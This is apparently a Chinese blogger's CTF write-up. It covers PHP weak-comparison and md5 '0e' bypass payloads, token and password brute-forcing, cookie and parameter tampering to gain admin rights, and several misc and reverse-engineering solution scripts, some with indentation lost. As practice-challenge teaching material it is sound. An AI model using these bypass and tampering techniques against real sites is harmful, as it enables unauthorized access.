本来想不记录了 ,也都是网上能搜到的题,最后想了一下还是记录一下吧

理论题

没啥意思

web

最好的语言

300pt (已做出) 考点 is_number array_search() 弱类型比较
赛题地址http://ctftime1.usaas.net/web/good/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>

先来看最后一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}

```php
这里存在判断 abcd都要为1也就是true 才可以echo flag
```php
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}

get传个x1 并且 $x1==”1”?die(“ha?”):NULL; 三目运算符,这句意思是否为1 为1则die
那我们为x1 为0 switch 会先经过0 没有break 接着会case1 这样 a=1了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}

首先传一个json数据 json标准格式为{"a":”sasd“,"b":2,"c":3,"d":4,"e":5}
is_numeric(@$x2[“x21”])?die(“ha?”):NULL; 这里必须不能是纯数字且要大于2017、怎么绕呢
is_numeric函数有一个特性,他会把123asd这种字符串改变为 123 也就是这也(‘1234a’ == 1234)为真,且因php中大于小于和==(两个等于)是不会判断类型是否相同这样的话,其为弱类型比较,我们传入一个大于2017的数加个字符串就行 如 200000aaa {"x21":"200000aaa"}这里注意 json值为字符串时要加双引号
还有一个x22 x22需要也是一个数组,且要等于2,count($x2[“x22”])!==2

1
2
3
4
5
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}

这里遍历x22这个数组,要求不能元素是有”XIPU”这个字样,但是还必须要在数组中能够找到。这里array_search()函数是存在弱类型比较的问题的,因此将第二个元素设置为0,在于”XIPU”字符串比较的时候,0==”XIPU”是成立的。因为xipu中没有数字,最后 {"x21":"200000aaa","x22":[[0],0]}
第三部分

1
2
3
4
5
6
7
8
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}

strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
x3不能为15562 且穿的值中要有XIPU,下面判断 15562的md5 的8-16 位要和我们传的数相等

1
2
3
4
<?php
echo substr(md5('15562'),8,16);
//45961dd50e46379442318098474e0ced
//0e46379442318098

这里 又是老生长谈的问题 0e数字 且比较的时候为== 弱类型比较会把0e数字解析成科学计数法形式也就是0,那我们只需再找一个这样的数就行了
python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import binascii

def mohu_md5():
for i in range(1,1300000):
t1 = str(i)+'XIPU'
#t1 = 'XIPU' str(i)+
md5_result = hashlib.md5(t1.encode("utf-8")).hexdigest()
#print(md5_result)
if md5_result[8:10] == '0e':
j = md5_result[10:24]
#isdigit()判断是否为纯数字,是则为true 反之false
if j.isdigit():
print(t1 + "----->"+md5_result)
break

mohu_md5()
#XIPU18570----->026cba5c0e20905432015695e9eb13ba
#47484XIPU----->373e838b0e191027496067472b89aa6b

两个都可以
最终payloadindex.php?x1=0&x2={"x21":"2018asd","x22":[[0],0]}&x3=47484XIPU
image-20220930154508776

跳来跳去

150pt (已做出) 简单越权
赛题地址http://ctftime1.usaas.net/web/good/index.php
image-20220930154824375
开局给了test test 直接登录
image-20220930155017429
点这个登录成功会跳转到admin,且提示权限不足,显然要进行越权,抓个包
image-20220930155048535
image-20220930155158626
这边可以看到一个token,token=ad0234829205b9033196ba818f7a872b
显然是md5过的 解一下
image-20220930155257003
这里为test2 我们这里肯定要admin的md5了,不过经过测试不是 admin的 也试了下admin2 也不是 果断爆破 ,其实是admin1的md5 啊这
爆破就不贴了
image-20220930155701407

各种改header

150pt (已做出) 考点:改包
开局一个黑框,我们这里直接往左上角看 有一个password.txt 那显然是爆破了
image-20220930155942088
访问之 直接复制,这里不用在生成密码字典文件了,直接可以粘贴一会看,随便在密码处输点什么然后抓包发送到intruder爆破
image-20220930160153027
点clear 只加password这个字段的admin为变量,点paylaod,直接点paste就把刚刚在复制那边的密码粘贴
image-20220930160401337
点attack开始就可以了
image-20220930160618475

密码为Nsf0cuS 时 回显了newpage=MjkwYmNhNzBjN2RhZTkzZGI2NjQ0ZmEwMGI5ZDgzYjkucGhw;解一下base64为:290bca70c7dae93db6644fa00b9d83b9.php
访问之http://ctftime1.usaas.net/web/header/290bca70c7dae93db6644fa00b9d83b9.php
是一个留言板
随便输点什么
image-20220930161533441

说我没登录 因为这里没有可登录的地方,果断抓包

image-20220930161712966
这里IsLogin=0显然是判断登陆了没有直接改成1

image-20220930162050828

然后又说我没有权限,我们看下面content=bohemian&userlevel=guest&Submit=%E7%95%99%E8%A8%80
userlevel 为guest 显然要改成管理员,比赛时试了admin admin1 manager administrator 都不是,果断爆破这个地方 最后是root 啊这

image-20220930162139612
Flag=flag%7Bbbda40bfc4eff921a5f5faf0cfd3c195%7D
Flag=flag{bbda40bfc4eff921a5f5faf0cfd3c195}

misc

文件修复

开局给了一个附件,解压之是一个pdf 测了一测啥也没有,拖到winhex中看下十六进制

image-20220930163312714

往下拉一拉看到有插入的数据,在f 或者n后面是09 或者 20 并且都是八位

这样我们就可以想到 把09 20 转成 0或1 因为是八位 比如 01010101这个八位二进制可以转成10进制然后转ascii 这样就是字符了

有了思路 开始做,这样的数据量 手撕显然是不行的,我们写脚本

先在winhex全选字符,右键-》edit-》copy block-》hex value

复制出来 然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
alist = []
#line 为那一大串hex value值
line = "255044462D312E3520202009092020090D0A25B5B5B5B520202020202020200D0A312030206F626A0D0A3C3C2F547970652F436174616C6F672F50616765732032203020522F4C616E67287A682D434E"
# 先把line两两字符一组
for i in range(0, len(line), 2):
alist.append(line[i:i+2])
#判断每组的字符是不是09 或者20 并且 后面七位也必须是 09或20 因为中间可能会有09或20 扰乱我们截取
for i in range(len(alist)):
if (alist[i] == "09" or alist[i] == "20") and (alist[i+1] == "09" or alist[i+1] == "20") and (alist[i+2] == "09" or alist[i+2] == "20" and (alist[i+3] == "09" or alist[i+3] == "20") and (alist[i+4] == "09" or alist[i+4] == "20") and (alist[i+5] == "09" or alist[i+5] == "20") and (alist[i+6] == "09" or alist[i+6] == "20") and (alist[i+7] == "09" or alist[i+7] == "20")):
s = alist[i]+alist[i+1]+alist[i+2]+alist[i+3]+alist[i+4]+alist[i+5]+alist[i+6]+alist[i+7]

#将09换成1 20换成0
s = s.replace("09","1")
s = s.replace("20","0")
# 00011001
# 00110010D
# 0110010D0A
# 0010D0A25B5B5
# 00000000
# 00000000
# 01110100
# t11101000D
# 101000D0A33
# 01111000
# x11110000D
# 1110000D0A
# 01110100
# t11101000D
# 101000D0A35
# 01100110
# f001100D0A36
# 01100D0A360
#print(alist[i]+alist[i+1]+alist[i+2]+alist[i+3]+alist[i+4]+alist[i+5]+alist[i+6]+alist[i+7])
#此时还是一个字符串 用split分割一下
s = s.split("\n")
for i in s:
#判断出来小于8的字符 最后转ascii
if len(i)<=8:
i='0b'+i
print(chr(eval(i)),end="")
#txtflag{EFAWEOFJ4TUW0Tgy}

emmm 这题150pt感觉有点亏比赛时没有解出来,时间太短了,后面复现的

奇怪的图片

开局一个压缩包,是rar文件,解压有密码,通常来说伪加密一般都是zip这里应该不是伪加密,
foremost直接分离,也什么都没出来,我们直接strings梭
strings 可以将一个文件的hex数据中的可显字符输出出来

image-20220930164552419

image-20220930164817607

image-20220930164834081
666C61677B4A7573745F65617379217DD
TEdDVEYlN0JkR2hwYzE5cGMxOWhYM2R5YjI1blgyWnNZV2NsTWpFJTNEJTdE
两个字符串,第一个显然是16进制,直接百度一个转一下
image-20220930165049824
flag{Just_easy!}
这个字符串解出来是个假的 有兴趣的同学解一下

未知的编码

 参考代码如下:<div style="background-image:url(javascript:eval(String.fromCharCode(%66%6C%61%67%7B%64%34%38%65%31%61%34%64%2D%30%34%63%64%2D%34%62%36%34%2D%38%36%65%39%2D%37%37%66%38%66%35%31%32%39%36%30%35%7D)))">
ascll你知道怎么解吗?
签到题,url解一下就可以了
image-20220930165704813

re

gdb

不会,直接百度
参考https://www.jianshu.com/p/7779f3e83384

py逆向

不是我做的,宇哥做的,我不会
参考宇哥的wp
题目给出源码 直接百度关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def encrypt(key, seed, string):
rst = []
for v in string:
rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
seed = (seed + 1) % len(key)
return rst


if __name__ == "__main__":
print ("Welcome to python crackme")
flag = ""
KEY1 = "Maybe you are good at decryptint Byte Code, have a try!"
KEY2 = [
111,
52,
24,
28,
120,
50,
37,
62,
67,
52,
48,
6,
1,
122,
3,
22,
72,
1,
1,
14,
46,
27,
22,
]
en_out = encrypt(KEY1, 5, flag)
if KEY2 == en_out:
print ("You Win,FLAG IS flag{%s}" % flag)
else:
print ("Try Again !")

直接替换key2就行了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def decrypt_each(key, seed, KEY2):
answer = ""
for each in KEY2:
password = each
for i in range(128):
result = (i + seed ^ ord(key[seed])) % 255
if password == result:
answer += chr(i)
break
seed = (seed + 1) % len(key)

return answer

if __name__ == '__main__':
KEY1 = "Maybe you are good at decryptint Byte Code, have a try!"
KEY2 = [
111,
52,
24,
28,
120,
50,
37,
62,
67,
52,
48,
6,
1,
122,
3,
22,
72,
1,
1,
14,
46,
27,
22,
]
answer = decrypt_each(KEY1, 5, KEY2)
print(answer)
#得到:
#JGpaOILOVEPYTHONSOMUCHK

此题参考https://l1nwatch.gitbook.io/ctf/idf-shi-yan-shi/reverse-dao-hang-ni-shi/python-bytecode

pwn

unsortheap

不会

myhouse

不会

这次的题都能搜到,也没啥好说的,太菜了,web也没啥意思
感谢我的小伙伴两小时的努力,很强了
宇哥太强了
一直在路上